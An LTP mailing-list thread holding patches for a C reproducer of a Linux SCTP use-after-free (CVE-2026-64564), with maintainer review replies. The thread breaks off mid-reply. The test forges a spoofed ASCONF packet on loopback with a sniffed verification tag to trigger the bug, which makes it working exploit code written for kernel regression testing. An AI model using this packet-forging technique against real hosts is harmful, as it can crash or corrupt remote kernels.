* [LTP] [PATCH 0/2] Add reproducer for sctphantom CVE
@ 2026-08-10 16:28 Andrea Cervesato
2026-08-10 16:28 ` [LTP] [PATCH 1/2] sctp: add lapi fallback definitions Andrea Cervesato
2026-08-10 16:28 ` [LTP] [PATCH 2/2] cve/sctphantom: Add reproducer for CVE-2026-64564 Andrea Cervesato
0 siblings, 2 replies; 8+ messages in thread
From: Andrea Cervesato @ 2026-08-10 16:28 UTC (permalink / raw)
To: Linux Test Project
This reproducer has been created using Kimi K3 and tweaked by human to
match LTP standards. The link which has been used to generate the test
is the following:
https://matrix.tencent.com/en/2026/08/06/sctphantom-CVE-2026-64564
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Andrea Cervesato (2):
sctp: add lapi fallback definitions
cve/sctphantom: Add reproducer for CVE-2026-64564
include/lapi/sctp.h | 65 +++++
runtest/cve | 1 +
testcases/cve/.gitignore | 1 +
testcases/cve/sctphantom.c | 594 +++++++++++++++++++++++++++++++++++++++++++++
4 files changed, 661 insertions(+)
---
base-commit: 13c2bbab1d71384c10c368c2c2b6e5747eeb5018
change-id: 20260810-sctphantom-d5aa24983fe7
Best regards,
--
Andrea Cervesato <andrea.cervesato@suse.com>
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 8+ messages in thread
* [LTP] [PATCH 1/2] sctp: add lapi fallback definitions
2026-08-10 16:28 [LTP] [PATCH 0/2] Add reproducer for sctphantom CVE Andrea Cervesato
@ 2026-08-10 16:28 ` Andrea Cervesato
2026-08-10 16:57 ` [LTP] " linuxtestproject.agent
2026-08-10 17:39 ` [LTP] [PATCH 1/2] " Petr Vorel
2026-08-10 16:28 ` [LTP] [PATCH 2/2] cve/sctphantom: Add reproducer for CVE-2026-64564 Andrea Cervesato
1 sibling, 2 replies; 8+ messages in thread
From: Andrea Cervesato @ 2026-08-10 16:28 UTC (permalink / raw)
To: Linux Test Project
From: Andrea Cervesato <andrea.cervesato@suse.com>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
include/lapi/sctp.h | 65 +++++++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 65 insertions(+)
diff --git a/include/lapi/sctp.h b/include/lapi/sctp.h
index c4c1cc91f..67c4d9e09 100644
--- a/include/lapi/sctp.h
+++ b/include/lapi/sctp.h
@@ -14,4 +14,69 @@
# define SCTP_SOCKOPT_BINDX_ADD 100
#endif
+#ifndef IPPROTO_SCTP
+# define IPPROTO_SCTP 132
+#endif
+
+#ifndef SCTP_PEER_ADDR_PARAMS
+# define SCTP_PEER_ADDR_PARAMS 9
+#endif
+
+#ifndef SCTP_STATUS
+# define SCTP_STATUS 14
+#endif
+
+#ifndef SCTP_GET_PEER_ADDR_INFO
+# define SCTP_GET_PEER_ADDR_INFO 15
+#endif
+
+#ifndef SPP_HB_ENABLE
+# define SPP_HB_ENABLE (1 << 0)
+#endif
+
+#ifndef SPP_HB_DISABLE
+# define SPP_HB_DISABLE (1 << 1)
+#endif
+
+#ifndef SPP_HB_DEMAND
+# define SPP_HB_DEMAND (1 << 2)
+#endif
+
+#ifndef SCTP_ACTIVE
+# define SCTP_ACTIVE 2
+#endif
+
+/* SCTP wire format values, see include/linux/sctp.h in the kernel */
+#ifndef SCTP_CID_INIT
+# define SCTP_CID_INIT 1
+#endif
+
+#ifndef SCTP_CID_INIT_ACK
+# define SCTP_CID_INIT_ACK 2
+#endif
+
+#ifndef SCTP_CID_ASCONF_ACK
+# define SCTP_CID_ASCONF_ACK 0x80
+#endif
+
+#ifndef SCTP_CID_ASCONF
+# define SCTP_CID_ASCONF 0xc1
+#endif
+
+#ifndef SCTP_PARAM_IPV4_ADDRESS
+# define SCTP_PARAM_IPV4_ADDRESS 5
+#endif
+
+#ifndef SCTP_PARAM_DEL_IP
+# define SCTP_PARAM_DEL_IP 0xc002
+#endif
+
+#ifndef SCTP_PARAM_ERR_CAUSE
+# define SCTP_PARAM_ERR_CAUSE 0xc003
+#endif
+
+#ifndef SCTP_ERROR_REQ_REFUSED
+# define SCTP_ERROR_REQ_REFUSED 0x00a4
+#endif
+
#endif /* LAPI_SCTP_H__ */
--
2.51.0
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply related [flat|nested] 8+ messages in thread
* [LTP] [PATCH 2/2] cve/sctphantom: Add reproducer for CVE-2026-64564
2026-08-10 16:28 [LTP] [PATCH 0/2] Add reproducer for sctphantom CVE Andrea Cervesato
2026-08-10 16:28 ` [LTP] [PATCH 1/2] sctp: add lapi fallback definitions Andrea Cervesato
@ 2026-08-10 16:28 ` Andrea Cervesato
2026-08-10 18:06 ` Petr Vorel
1 sibling, 1 reply; 8+ messages in thread
From: Andrea Cervesato @ 2026-08-10 16:28 UTC (permalink / raw)
To: Linux Test Project
From: Andrea Cervesato <andrea.cervesato@suse.com>
Add a reproducer for CVE-2026-64564, a use-after-free in the SCTP
Dynamic Address Reconfiguration (RFC 5061) DEL-IP processing.
This vulnerability was fixed upstream by commit 9b2854f86f0b ("sctp:
don't free the ASCONF's own transport in DEL-IP processing").
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
Link: https://matrix.tencent.com/en/2026/08/06/sctphantom-CVE-2026-64564
---
runtest/cve | 1 +
testcases/cve/.gitignore | 1 +
testcases/cve/sctphantom.c | 594 +++++++++++++++++++++++++++++++++++++++++++++
3 files changed, 596 insertions(+)
diff --git a/runtest/cve b/runtest/cve
index 426b203e9..b096bacef 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -102,3 +102,4 @@ cve-2026-43494 io_uring04
cve-2026-46300 xfrm02
cve-2026-46300-skb-segment xfrm03
cve-2026-46331 cve-2026-46331
+cve-2026-64564 sctphantom
diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
index 5aa038cd5..a167a8743 100644
--- a/testcases/cve/.gitignore
+++ b/testcases/cve/.gitignore
@@ -17,3 +17,4 @@ cve-2025-38236
cve-2025-21756
cve-2026-46331
refluxfs
+sctphantom
diff --git a/testcases/cve/sctphantom.c b/testcases/cve/sctphantom.c
new file mode 100644
index 000000000..c89c5f9b4
--- /dev/null
+++ b/testcases/cve/sctphantom.c
@@ -0,0 +1,594 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Linux Test Project
+ */
+
+/*\
+ * Reproducer for CVE-2026-64564, a use-after-free in the SCTP Dynamic
+ * Address Reconfiguration (RFC 5061) DEL-IP processing, fixed upstream by
+ * commit 9b2854f86f0b ("sctp: don't free the ASCONF's own transport in
+ * DEL-IP processing").
+ *
+ * sctp_process_asconf() processes an ASCONF chunk against the transport
+ * cached in ``asconf->transport``. For an ASCONF located through its
+ * Address Parameter by __sctp_rcv_asconf_lookup() that transport
+ * corresponds to the Address Parameter, which need not be the packet
+ * source address. The DEL-IP source address guard (ADDIP D8) only
+ * protects the packet source, so a single ASCONF carrying
+ *
+ * - [Address Parameter L] [DEL-IP L] [DEL-IP 0.0.0.0]
+ *
+ * with L different from the packet source frees transport L through
+ * sctp_assoc_rm_peer(), and the wildcard DEL-IP then reuses the dangling
+ * ``asconf->transport`` in sctp_assoc_set_primary() and
+ * sctp_assoc_del_nonprimary_peers(), leaving the association with
+ * primary_path/active_path pointing at freed memory.
+ *
+ * [Algorithm]
+ *
+ * - Create a multihomed SCTP association on loopback between a server
+ * socket bound to 127.0.0.1 and 127.0.0.2 and a client socket (victim)
+ * - Sniff the handshake on a raw socket to learn the client verification
+ * tag and the server initial TSN (the expected ASCONF serial number)
+ * - Confirm the 127.0.0.2 secondary path with an on-demand heartbeat,
+ * then disable heartbeats on all peer paths
+ * - Inject a forged ASCONF chunk sourced from 127.0.0.3 (not part of the
+ * association) carrying [Address Parameter 127.0.0.2]
+ * [DEL-IP 127.0.0.2] [DEL-IP 0.0.0.0]
+ * - Read the ASCONF-ACK: a fixed kernel rejects the first DEL-IP with
+ * error cause 0x00a4 (SCTP_ERROR_REQ_REFUSED), a vulnerable kernel
+ * reports success for both parameters
+ * - On a vulnerable kernel, wait for the RCU-deferred free and
+ * dereference the stale primary path via :manpage:`getsockopt(2)`
+ * SCTP_STATUS
+ *
+ * The test needs root to create raw sockets and to enable the
+ * net.sctp.addip_enable and net.sctp.addip_noauth_enable sysctls, which
+ * are restored after the run. The sysctls exist only while the sctp
+ * module is loaded, so the test reports TCONF if it is not (run
+ * ``modprobe sctp`` first). A vulnerable system may taint or crash.
+ */
+
+#include "tst_test.h"
+#include "tst_module.h"
+#include "tst_checksum.h"
+#include "tst_safe_net.h"
+
+#include "lapi/socket.h"
+#include "lapi/sctp.h"
+
+#define ADDR_PRIMARY "127.0.0.1" /* primary peer path, forged dst */
+#define ADDR_TARGET "127.0.0.2" /* secondary path freed by DEL-IP */
+#define ADDR_DUMMY "127.0.0.254" /* third path to keep transport_count > 1 */
+#define ADDR_SPOOF "127.0.0.3" /* forged ASCONF packet source */
+
+/* Mirror of the uapi struct sctp_paddrparams */
+struct tst_sctp_paddrparams {
+ int32_t spp_assoc_id;
+ struct sockaddr_storage spp_address;
+ uint32_t spp_hbinterval;
+ uint16_t spp_pathmaxrxt;
+ uint32_t spp_pathmtu;
+ uint32_t spp_sackdelay;
+ uint32_t spp_flags;
+ uint32_t spp_ipv6_flowlabel;
+ uint8_t spp_dscp;
+} __attribute__((packed, aligned(4)));
+
+/* Mirror of the uapi struct sctp_paddrinfo */
+struct tst_sctp_paddrinfo {
+ int32_t spinfo_assoc_id;
+ struct sockaddr_storage spinfo_address;
+ int32_t spinfo_state;
+ uint32_t spinfo_cwnd;
+ uint32_t spinfo_srtt;
+ uint32_t spinfo_rto;
+ uint32_t spinfo_mtu;
+} __attribute__((packed, aligned(4)));
+
+#define ASCONF_WIRE_LEN 48 /* hdr + serial + addr param + 2 x DEL-IP */
+
+static int cap_fd = -1; /* captures all SCTP packets on loopback */
+static int raw_fd = -1; /* injects the forged packet */
+static int srv_fd = -1;
+static int cli_fd = -1;
+static int acc_fd = -1;
+
+static uint16_t srv_port;
+static uint16_t cli_port;
+static uint32_t vtag_wire; /* client initiate tag, network order */
+static uint32_t serial_wire; /* server initial TSN, network order */
+
+static uint32_t addr4(const char *ip)
+{
+ struct in_addr addr;
+
+ if (inet_pton(AF_INET, ip, &addr) != 1)
+ tst_brk(TBROK, "inet_pton(%s) failed", ip);
+
+ return addr.s_addr;
+}
+
+static struct sockaddr_in sin4(const char *ip, uint16_t port)
+{
+ struct sockaddr_in sa = {
+ .sin_family = AF_INET,
+ .sin_port = htons(port),
+ .sin_addr.s_addr = addr4(ip),
+ };
+
+ return sa;
+}
+
+static uint16_t get16(const uint8_t *p)
+{
+ uint16_t val;
+
+ memcpy(&val, p, sizeof(val));
+ return ntohs(val);
+}
+
+static void put16(uint8_t *p, uint16_t val)
+{
+ uint16_t tmp = htons(val);
+
+ memcpy(p, &tmp, sizeof(tmp));
+}
+
+static void put32(uint8_t *p, uint32_t val)
+{
+ uint32_t tmp = htonl(val);
+
+ memcpy(p, &tmp, sizeof(tmp));
+}
+
+static void put_ip(uint8_t *p, const char *ip)
+{
+ uint32_t addr = addr4(ip);
+
+ memcpy(p, &addr, sizeof(addr));
+}
+
+static ssize_t cap_recv(uint8_t *buf, size_t size, int timeout_ms)
+{
+ struct pollfd pfd = { .fd = cap_fd, .events = POLLIN };
+
+ if (!SAFE_POLL(&pfd, 1, timeout_ms))
+ return 0;
+
+ return SAFE_RECV(0, cap_fd, buf, size, 0);
+}
+
+static void cap_drain(void)
+{
+ uint8_t buf[4096];
+ ssize_t ret;
+
+ do {
+ ret = recv(cap_fd, buf, sizeof(buf), MSG_DONTWAIT);
+ } while (ret > 0);
+
+ if (ret < 0 && errno != EAGAIN && errno != EWOULDBLOCK)
+ tst_brk(TBROK | TERRNO, "recv(MSG_DONTWAIT) failed");
+}
+
+/* Extract the SCTP part of a captured IPv4 packet */
+static uint8_t *sctp_part(uint8_t *pkt, ssize_t len, size_t *sctp_len)
+{
+ struct iphdr ip;
+ size_t ihl;
+
+ if (len < (ssize_t)sizeof(ip))
+ return NULL;
+
+ memcpy(&ip, pkt, sizeof(ip));
+ if (ip.version != 4 || ip.protocol != IPPROTO_SCTP)
+ return NULL;
+
+ ihl = ip.ihl * 4;
+ if (ihl < sizeof(ip) || (ssize_t)(ihl + 12) > len)
+ return NULL;
+
+ *sctp_len = len - ihl;
+ return pkt + ihl;
+}
+
+static void setup(void)
+{
+ int fd;
+ const struct tst_path_val sysctls[] = {
+ {"/proc/sys/net/sctp/addip_enable", "1", TST_SR_TCONF},
+ {"/proc/sys/net/sctp/addip_noauth_enable", "1", TST_SR_TCONF},
+ {}
+ };
+ const struct tst_path_val *sysctl;
+
+ tst_modprobe("sctp", NULL);
+
+ for (sysctl = sysctls; sysctl->path; sysctl++)
+ tst_sys_conf_save(sysctl);
+
+ fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
+ if (fd == -1) {
+ if (errno == EPROTONOSUPPORT || errno == ESOCKTNOSUPPORT)
+ tst_brk(TCONF, "SCTP is not supported by the kernel");
+ tst_brk(TBROK | TERRNO, "socket(IPPROTO_SCTP) failed");
+ }
+ SAFE_CLOSE(fd);
+
+ cap_fd = SAFE_SOCKET(AF_INET, SOCK_RAW, IPPROTO_SCTP);
+ raw_fd = SAFE_SOCKET(AF_INET, SOCK_RAW, IPPROTO_RAW);
+}
+
+static void close_socks(void)
+{
+ if (acc_fd != -1)
+ SAFE_CLOSE(acc_fd);
+ if (cli_fd != -1)
+ SAFE_CLOSE(cli_fd);
+ if (srv_fd != -1)
+ SAFE_CLOSE(srv_fd);
+}
+
+static void cleanup(void)
+{
+ close_socks();
+
+ if (raw_fd != -1)
+ SAFE_CLOSE(raw_fd);
+ if (cap_fd != -1)
+ SAFE_CLOSE(cap_fd);
+}
+
+static void setup_association(void)
+{
+ struct sockaddr_in sa;
+ struct sockaddr_in addrs[2];
+
+ srv_fd = SAFE_SOCKET(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
+ sa = sin4(ADDR_PRIMARY, 0);
+ SAFE_BIND(srv_fd, (struct sockaddr *)&sa, sizeof(sa));
+ srv_port = TST_GETSOCKPORT(srv_fd);
+
+ /* the client learns the second and third peer addresses from the INIT-ACK */
+ addrs[0] = sin4(ADDR_TARGET, srv_port);
+ addrs[1] = sin4(ADDR_DUMMY, srv_port);
+ SAFE_SETSOCKOPT(srv_fd, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD,
+ addrs, sizeof(addrs));
+
+ SAFE_LISTEN(srv_fd, 1);
+
+ cap_drain();
+
+ cli_fd = SAFE_SOCKET(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
+ sa = sin4(ADDR_PRIMARY, srv_port);
+ SAFE_CONNECT(cli_fd, (struct sockaddr *)&sa, sizeof(sa));
+ cli_port = TST_GETSOCKPORT(cli_fd);
+
+ acc_fd = SAFE_ACCEPT(srv_fd, NULL, NULL);
+}
+
+/*
+ * Read the handshake captured on loopback: the client initiate tag is the
+ * verification tag the victim expects and the server initial TSN is the
+ * first ASCONF serial number the victim accepts (ADDIP E1).
+ */
+static void sniff_handshake(void)
+{
+ uint8_t buf[4096];
+ int got_init = 0, got_initack = 0;
+ int tries;
+
+ for (tries = 0; tries < 10 && (!got_init || !got_initack); tries++) {
+ uint8_t *sctp, *ch, *end;
+ uint16_t sport, dport;
+ size_t sctp_len;
+ ssize_t len;
+
+ len = cap_recv(buf, sizeof(buf), 200);
+ if (!len)
+ continue;
+
+ sctp = sctp_part(buf, len, &sctp_len);
+ if (!sctp)
+ continue;
+
+ sport = get16(sctp);
+ dport = get16(sctp + 2);
+ ch = sctp + 12;
+ end = sctp + sctp_len;
+
+ while (ch + 4 <= end) {
+ uint16_t clen = get16(ch + 2);
+
+ if (clen < 4 || ch + clen > end)
+ break;
+
+ if (ch[0] == SCTP_CID_INIT && dport == srv_port) {
+ memcpy(&vtag_wire, ch + 4, 4);
+ got_init = 1;
+ }
+
+ if (ch[0] == SCTP_CID_INIT_ACK && sport == srv_port && clen >= 20) {
+ uint8_t *p = ch + 20, *cend = ch + clen;
+ uint32_t target = addr4(ADDR_TARGET);
+ int found = 0;
+
+ memcpy(&serial_wire, ch + 16, 4);
+ got_initack = 1;
+
+ while (p + 4 <= cend) {
+ uint16_t plen = get16(p + 2);
+
+ if (plen < 4 || p + plen > cend)
+ break;
+ if (get16(p) == SCTP_PARAM_IPV4_ADDRESS &&
+ plen == 8 && !memcmp(p + 4, &target, 4))
+ found = 1;
+ p += (plen + 3) & ~3;
+ }
+
+ if (!found)
+ tst_brk(TBROK, "peer did not advertise "
+ ADDR_TARGET);
+ }
+
+ ch += (clen + 3) & ~3;
+ }
+ }
+
+ if (!got_init || !got_initack)
+ tst_brk(TBROK, "could not capture the SCTP handshake");
+}
+
+/* Confirm the secondary peer path, then keep the association quiet */
+static void confirm_target_path(void)
+{
+ struct tst_sctp_paddrparams spp;
+ struct tst_sctp_paddrinfo info;
+ struct sockaddr_in sa;
+ socklen_t len;
+ long delay = 1;
+ int i;
+
+ sa = sin4(ADDR_TARGET, srv_port);
+
+ memset(&spp, 0, sizeof(spp));
+ memcpy(&spp.spp_address, &sa, sizeof(sa));
+ spp.spp_hbinterval = 1000;
+ spp.spp_flags = SPP_HB_ENABLE | SPP_HB_DEMAND;
+ SAFE_SETSOCKOPT(cli_fd, SOL_SCTP, SCTP_PEER_ADDR_PARAMS,
+ &spp, sizeof(spp));
+
+ for (i = 0; i < 12; i++) {
+ memset(&info, 0, sizeof(info));
+ memcpy(&info.spinfo_address, &sa, sizeof(sa));
+ len = sizeof(info);
+ SAFE_GETSOCKOPT(cli_fd, SOL_SCTP, SCTP_GET_PEER_ADDR_INFO,
+ &info, &len);
+
+ if (info.spinfo_state == SCTP_ACTIVE)
+ return;
+
+ SAFE_POLL(NULL, 0, delay);
+ delay *= 2;
+ }
+
+ tst_brk(TBROK, ADDR_TARGET " was not confirmed by a heartbeat");
+}
+
+static void disable_heartbeats(void)
+{
+ static const char *const addrs[] = { ADDR_PRIMARY, ADDR_TARGET, ADDR_DUMMY };
+ struct tst_sctp_paddrparams spp;
+ struct sockaddr_in sa;
+ unsigned int i;
+
+ for (i = 0; i < ARRAY_SIZE(addrs); i++) {
+ memset(&spp, 0, sizeof(spp));
+ sa = sin4(addrs[i], srv_port);
+ memcpy(&spp.spp_address, &sa, sizeof(sa));
+ spp.spp_flags = SPP_HB_DISABLE;
+ SAFE_SETSOCKOPT(cli_fd, SOL_SCTP, SCTP_PEER_ADDR_PARAMS,
+ &spp, sizeof(spp));
+ }
+}
+
+/*
+ * Forge an ASCONF chunk from a spoofed source address carrying
+ * [Address Parameter ADDR_TARGET] [DEL-IP ADDR_TARGET] [DEL-IP 0.0.0.0].
+ * The forged source forces the victim to look the association up through
+ * the Address Parameter, so asconf->transport is the transport of
+ * ADDR_TARGET, which the first DEL-IP then frees on a vulnerable kernel.
+ */
+static void send_asconf(void)
+{
+ uint8_t pkt[20 + 12 + ASCONF_WIRE_LEN];
+ struct iphdr ip = {
+ .version = 4,
+ .ihl = 5,
+ .ttl = 64,
+ .protocol = IPPROTO_SCTP,
+ .tot_len = htons(sizeof(pkt)),
+ .saddr = addr4(ADDR_SPOOF),
+ .daddr = addr4(ADDR_PRIMARY),
+ };
+ struct sockaddr_in dst = sin4(ADDR_PRIMARY, 0);
+ uint8_t *sctp = pkt + sizeof(ip), *p;
+ uint32_t csum;
+
+ memset(pkt, 0, sizeof(pkt));
+ memcpy(pkt, &ip, sizeof(ip));
+
+ put16(sctp + 0, srv_port);
+ put16(sctp + 2, cli_port);
+ memcpy(sctp + 4, &vtag_wire, 4);
+
+ p = sctp + 12;
+ p[0] = SCTP_CID_ASCONF;
+ put16(p + 2, ASCONF_WIRE_LEN);
+ memcpy(p + 4, &serial_wire, 4);
+
+ p += 8;
+ put16(p + 0, SCTP_PARAM_IPV4_ADDRESS);
+ put16(p + 2, 8);
+ put_ip(p + 4, ADDR_TARGET);
+
+ p += 8;
+ put16(p + 0, SCTP_PARAM_DEL_IP);
+ put16(p + 2, 16);
+ put32(p + 4, 1);
+ put16(p + 8, SCTP_PARAM_IPV4_ADDRESS);
+ put16(p + 10, 8);
+ put_ip(p + 12, ADDR_TARGET);
+
+ p += 16;
+ put16(p + 0, SCTP_PARAM_DEL_IP);
+ put16(p + 2, 16);
+ put32(p + 4, 2);
+ put16(p + 8, SCTP_PARAM_IPV4_ADDRESS);
+ put16(p + 10, 8);
+ put_ip(p + 12, "0.0.0.0");
+
+ /* SCTP carries the CRC32c little-endian, unlike any other field */
+ csum = htole32(tst_crc32c(sctp, 12 + ASCONF_WIRE_LEN));
+ memcpy(sctp + 8, &csum, 4);
+
+ SAFE_SENDTO(1, raw_fd, pkt, sizeof(pkt), 0,
+ (struct sockaddr *)&dst, sizeof(dst));
+}
+
+/*
+ * Wait for the ASCONF-ACK (sent to the spoofed source, so it stays on
+ * loopback) and return the error cause of its first Error Cause
+ * Indication parameter, 0 when all parameters report success, or -1 when
+ * no ACK arrives in time.
+ */
+static int read_asconf_ack(void)
+{
+ uint8_t buf[4096];
+ int tries;
+
+ for (tries = 0; tries < 10; tries++) {
+ uint8_t *sctp, *ch, *end;
+ size_t sctp_len;
+ ssize_t len;
+
+ len = cap_recv(buf, sizeof(buf), 200);
+ if (!len)
+ continue;
+
+ sctp = sctp_part(buf, len, &sctp_len);
+ if (!sctp)
+ continue;
+
+ ch = sctp + 12;
+ end = sctp + sctp_len;
+
+ while (ch + 4 <= end) {
+ uint16_t clen = get16(ch + 2);
+ uint8_t *p, *cend;
+
+ if (clen < 4 || ch + clen > end)
+ break;
+
+ if (ch[0] != SCTP_CID_ASCONF_ACK || clen < 8 ||
+ memcmp(ch + 4, &serial_wire, 4))
+ goto next;
+
+ p = ch + 8;
+ cend = ch + clen;
+
+ while (p + 8 <= cend) {
+ uint16_t plen = get16(p + 2);
+
+ if (plen < 8 || p + plen > cend)
+ return 0;
+ if (get16(p) == SCTP_PARAM_ERR_CAUSE &&
+ plen >= 12)
+ return get16(p + 8);
+ p += (plen + 3) & ~3;
+ }
+
+ return 0;
+next:
+ ch += (clen + 3) & ~3;
+ }
+ }
+
+ return -1;
+}
+
+/*
+ * The freed transport is released by an RCU callback; once it is gone,
+ * reading the association status dereferences the stale primary_path,
+ * which KASAN reports as a use-after-free.
+ */
+static void probe_uaf(void)
+{
+ uint8_t buf[512];
+ long delay = 1;
+ int i;
+
+ tst_res(TINFO, "probing the stale primary path via SCTP_STATUS");
+
+ for (i = 0; i < 12; i++) {
+ socklen_t len = sizeof(buf);
+
+ TEST(getsockopt(cli_fd, SOL_SCTP, SCTP_STATUS, buf, &len));
+ SAFE_POLL(NULL, 0, delay);
+ delay *= 2;
+ }
+
+ if (tst_taint_check())
+ tst_res(TFAIL, "kernel tainted by the stale transport dereference (CVE-2026-64564)");
+ else
+ tst_res(TFAIL, "kernel is vulnerable to CVE-2026-64564: DEL-IP freed the ASCONF's own transport");
+}
+
+static void run(void)
+{
+ int cause;
+
+ setup_association();
+ sniff_handshake();
+ confirm_target_path();
+ disable_heartbeats();
+
+ cap_drain();
+ send_asconf();
+
+ cause = read_asconf_ack();
+ if (cause < 0)
+ tst_brk(TBROK, "no ASCONF-ACK received");
+
+ if (cause == SCTP_ERROR_REQ_REFUSED) {
+ tst_res(TPASS, "DEL-IP of the ASCONF's own transport refused, kernel is not vulnerable");
+ } else if (cause) {
+ tst_brk(TBROK, "unexpected ASCONF-ACK error cause 0x%04x",
+ cause);
+ } else {
+ tst_res(TINFO, "vulnerable kernel accepted the ASCONF sequence");
+ probe_uaf();
+ }
+
+ close_socks();
+}
+
+static struct tst_test test = {
+ .test_all = run,
+ .setup = setup,
+ .cleanup = cleanup,
+ .needs_root = 1,
+ .timeout = 60,
+ .taint_check = TST_TAINT_W | TST_TAINT_D,
+ .needs_kconfigs = (const char *const []) {
+ "CONFIG_IP_SCTP",
+ NULL
+ },
+ .tags = (const struct tst_tag[]) {
+ {"linux-git", "9b2854f86f0b56e9027d68e7a3fc909d1a9b566f"},
+ {"CVE", "2026-64564"},
+ {}
+ },
+};
--
2.51.0
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply related [flat|nested] 8+ messages in thread
* Re: [LTP] sctp: add lapi fallback definitions
2026-08-10 16:28 ` [LTP] [PATCH 1/2] sctp: add lapi fallback definitions Andrea Cervesato
@ 2026-08-10 16:57 ` linuxtestproject.agent
2026-08-10 17:39 ` [LTP] [PATCH 1/2] " Petr Vorel
1 sibling, 0 replies; 8+ messages in thread
From: linuxtestproject.agent @ 2026-08-10 16:57 UTC (permalink / raw)
To: Andrea Cervesato; +Cc: ltp
Hi Andrea,
On Mon, Aug 10, 2026, Andrea Cervesato wrote:
> sctp: add lapi fallback definitions
Verdict - Reviewed
---
Note:
The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.
Regards,
LTP AI Reviewer
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [LTP] [PATCH 1/2] sctp: add lapi fallback definitions
2026-08-10 16:28 ` [LTP] [PATCH 1/2] sctp: add lapi fallback definitions Andrea Cervesato
2026-08-10 16:57 ` [LTP] " linuxtestproject.agent
@ 2026-08-10 17:39 ` Petr Vorel
1 sibling, 0 replies; 8+ messages in thread
From: Petr Vorel @ 2026-08-10 17:39 UTC (permalink / raw)
To: Andrea Cervesato; +Cc: Linux Test Project
Hi: Andrea,
> +/* SCTP wire format values, see include/linux/sctp.h in the kernel */
+1 for that comment.
> +#ifndef SCTP_CID_INIT
> +# define SCTP_CID_INIT 1
> +#endif
> +
> +#ifndef SCTP_CID_INIT_ACK
> +# define SCTP_CID_INIT_ACK 2
> +#endif
> +
> +#ifndef SCTP_CID_ASCONF_ACK
> +# define SCTP_CID_ASCONF_ACK 0x80
> +#endif
> +
> +#ifndef SCTP_CID_ASCONF
> +# define SCTP_CID_ASCONF 0xc1
> +#endif
> +
> +#ifndef SCTP_PARAM_IPV4_ADDRESS
> +# define SCTP_PARAM_IPV4_ADDRESS 5
> +#endif
> +
> +#ifndef SCTP_PARAM_DEL_IP
> +# define SCTP_PARAM_DEL_IP 0xc002
> +#endif
> +
> +#ifndef SCTP_PARAM_ERR_CAUSE
> +# define SCTP_PARAM_ERR_CAUSE 0xc003
I hope cpu_to_be16(0xc003) is really on all supported archs 0xc003 :).
Anyway, the rest LGTM.
Reviewed-by: Petr Vorel <pvorel@suse.cz>
Kind regards,
Petr
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [LTP] [PATCH 2/2] cve/sctphantom: Add reproducer for CVE-2026-64564
2026-08-10 16:28 ` [LTP] [PATCH 2/2] cve/sctphantom: Add reproducer for CVE-2026-64564 Andrea Cervesato
@ 2026-08-10 18:06 ` Petr Vorel
2026-08-10 18:14 ` Andrea Cervesato via ltp
0 siblings, 1 reply; 8+ messages in thread
From: Petr Vorel @ 2026-08-10 18:06 UTC (permalink / raw)
To: Andrea Cervesato; +Cc: Linux Test Project
Hi Andrea,
> Add a reproducer for CVE-2026-64564, a use-after-free in the SCTP
> Dynamic Address Reconfiguration (RFC 5061) DEL-IP processing.
> This vulnerability was fixed upstream by commit 9b2854f86f0b ("sctp:
> don't free the ASCONF's own transport in DEL-IP processing").
> Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
> Link: https://matrix.tencent.com/en/2026/08/06/sctphantom-CVE-2026-64564
Nice reproducer, full of magic. Generally LGTM, few notes bellow?
Acked-by: Petr Vorel <pvorel@suse.cz>
Tested-by: Petr Vorel <pvorel@suse.cz>
> +static void setup(void)
> +{
> + int fd;
> + const struct tst_path_val sysctls[] = {
> + {"/proc/sys/net/sctp/addip_enable", "1", TST_SR_TCONF},
> + {"/proc/sys/net/sctp/addip_noauth_enable", "1", TST_SR_TCONF},
> + {}
> + };
Can't this be part of .save_restore in struct tst_test?
> + const struct tst_path_val *sysctl;
> +
> + tst_modprobe("sctp", NULL);
...
> +
> +/*
> + * The freed transport is released by an RCU callback; once it is gone,
> + * reading the association status dereferences the stale primary_path,
> + * which KASAN reports as a use-after-free.
> + */
> +static void probe_uaf(void)
> +{
> + uint8_t buf[512];
> + long delay = 1;
> + int i;
> +
> + tst_res(TINFO, "probing the stale primary path via SCTP_STATUS");
> +
> + for (i = 0; i < 12; i++) {
> + socklen_t len = sizeof(buf);
> +
> + TEST(getsockopt(cli_fd, SOL_SCTP, SCTP_STATUS, buf, &len));
What is the point of using TEST() macro here. Why not run getsockopt() directly?
Kind regards,
Petr
--
Mailing list info: https://lists.linux.it/listinfo/ltp
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [LTP] [PATCH 2/2] cve/sctphantom: Add reproducer for CVE-2026-64564
2026-08-10 18:06 ` Petr Vorel
@ 2026-08-10 18:14 ` Andrea Cervesato via ltp
2026-08-11 5:35 ` Petr Vorel
0 siblings, 1 reply; 8+ messages in thread
From: Andrea Cervesato via ltp @ 2026-08-10 18:14 UTC (permalink / raw)
To: Petr Vorel; +Cc: Linux Test Project
Hi Petr,
> Nice reproducer, full of magic. Generally LGTM, few notes bellow?
> Acked-by: Petr Vorel <pvorel@suse.cz>
> Tested-by: Petr Vorel <pvorel@suse.cz>
>
> > +static void setup(void)
> > +{
> > + int fd;
> > + const struct tst_path_val sysctls[] = {
> > + {"/proc/sys/net/sctp/addip_enable", "1", TST_SR_TCONF},
> > + {"/proc/sys/net/sctp/addip_noauth_enable", "1", TST_SR_TCONF},
> > + {}
> > + };
